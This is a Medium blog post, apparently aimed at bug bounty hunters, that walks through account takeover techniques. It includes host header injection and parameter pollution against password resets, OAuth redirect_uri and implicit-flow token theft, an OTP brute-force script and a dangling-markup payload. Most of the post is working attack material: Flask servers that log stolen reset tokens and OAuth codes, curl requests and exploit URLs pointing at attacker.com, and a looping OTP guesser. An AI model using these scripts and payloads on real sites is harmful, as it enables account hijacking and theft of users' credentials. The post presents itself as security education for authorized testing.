You're reading for free via It4chis3c's Friend Link. Become a member to access the best of Medium.
Member-only story
$100-$20k worth Account Takeover Vulnerability | Hidden Practical Steps
Hidden methods to find Account Takeover Vulnerability in Bug Bounties
Do Follow and Subscribe via mail to get latest writeups and Hidden & Secret Tips and Tricks related to Cybersecurity and Bug Bounty Hunting.
Hi geeks, it4chis3c (Twitter) came-up with another bounty earning write-up in the Bug Bounty Hunting Series:

Account Takeover (ATO) vulnerabilities allow attackers to hijack user accounts, often leading to data breaches, financial loss, and reputational damage. For bug hunters, ATO is a goldmine — it’s common, high-impact, and often overlooked.
1. Password Reset Exploits
a. Host Header Injection to Steal Tokens
Step-by-Step:
- Intercept the password reset request (Burp Suite).
- Inject a custom
Host
orX-Forwarded-Host
header pointing to your server. - Capture the token when the victim clicks the reset link.
Python Flask Server to Log Tokens:
from flask import Flask, request
app = Flask(__name__)
@app.route('/reset-password')
def log_token():
token = request.args.get('token')
print(f"[+] Token Stolen: {token}")
return "Error: Invalid token", 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
cURL Request to Trigger:
curl -X POST 'https://vulnerable.com/reset-password' \
-H 'Host: attacker.com' \
-d 'email=victim@example.com'
Why This Works:
- Developers often trust the
Host
header to generate reset links.
Flags to Check:
- Missing
Host
header validation (common in legacy systems).
Note:
host='0.0.0.0'
is about where your Flask server listens (your machine).
attacker.com
is about where the victim’s browser sends requests (your server).
b. Parameter Pollution to Redirect Tokens
Step-by-Step:
- Add duplicate
email
parameters in the reset request. - If the backend uses the last parameter, the token goes to your email.
cURL Example:
curl -X POST 'https://vulnerable.com/reset-password?email=victim@example.com&email=attacker@example.com'
Why This Works:
- Poorly coded backends may process the last parameter in the chain.
2. OAuth Token Theft
a. Open Redirect + Token Capture
Step-by-Step:
- Find an open redirect in
redirect_uri
. - Steal OAuth authorization codes.
Python Flask Redirect Handler:
from flask import Flask, request
app = Flask(__name__)
@app.route('/callback')
def capture_code():
code = request.args.get('code')
print(f"[+] OAuth Code: {code}")
return "Error: Invalid code", 404
if __name__ == '__main__':
app.run(port=80)
Exploit URL:
https://oauth-provider.com/auth?client_id=123&redirect_uri=http://attacker.com/callback
Why This Works:
- OAuth providers may not validate
redirect_uri
strictly.
Flags to Check:
- Missing
state
parameter (enables CSRF).
b. Implicit Flow Token Exposure
Step-by-Step:
- Change
response_type=code
toresponse_type=token
. - Capture the access token in the URL fragment.
cURL Request:
curl -I "https://oauth-provider.com/auth?response_type=token&client_id=CLIENT_ID&redirect_uri=https://attacker.com"
Why This Works:
- Implicit flow returns tokens in the URL (vulnerable to XSS/leakage).
3. OTP Bypass with Time-Based Attacks
Step-by-Step:
- Intercept the OTP submission request.
- Brute-force the 6-digit code with delays.
Python Brute-Force Script:
import requests
import time
target_url = "https://vulnerable.com/verify-otp"
headers = {'Cookie': 'session=YOUR_SESSION_COOKIE'}
for otp in range(000000, 999999):
data = {'otp': str(otp).zfill(6)}
response = requests.post(target_url, data=data, headers=headers)
if "Invalid OTP" not in response.text:
print(f"[+] Valid OTP: {otp}")
break
time.sleep(2) # Bypass rate limiting
Why This Works:
- Rate limits often allow 1 attempt every 2 seconds.
4. Dangling Markup Injection
Step-by-Step:
- Inject a partial HTML tag to leak tokens from error pages.
- Capture tokens via an attacker-controlled server.
Injection Payload:
<img src='//attacker.com?token=
Python Server to Log Leaked Tokens:
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def log_token():
token = request.args.get('token')
if token:
print(f"[+] Token Leaked: {token}")
return "404 Not Found", 404
app.run(port=80)
Why This Works:
- Browsers resolve incomplete tags, sending partial tokens to your server.
Do Follow and Subscribe via mail to get latest writeups and Hidden & Secret Tips and Tricks related to Cybersecurity and Bug Bounty Hunting.
I look forward to sharing what I’ve learned while exploring the ever-evolving world of cybersecurity and bug bounties. Let’s hunt some bugs!
Thank you for reading the blog!!! Do Follow and Comment on what specific type of write-up you want the next??
You can also follow me on Twitter & LinkedIn for more such tips & tricks.
Follow & subscribe for daily write-up updates via mail on Medium
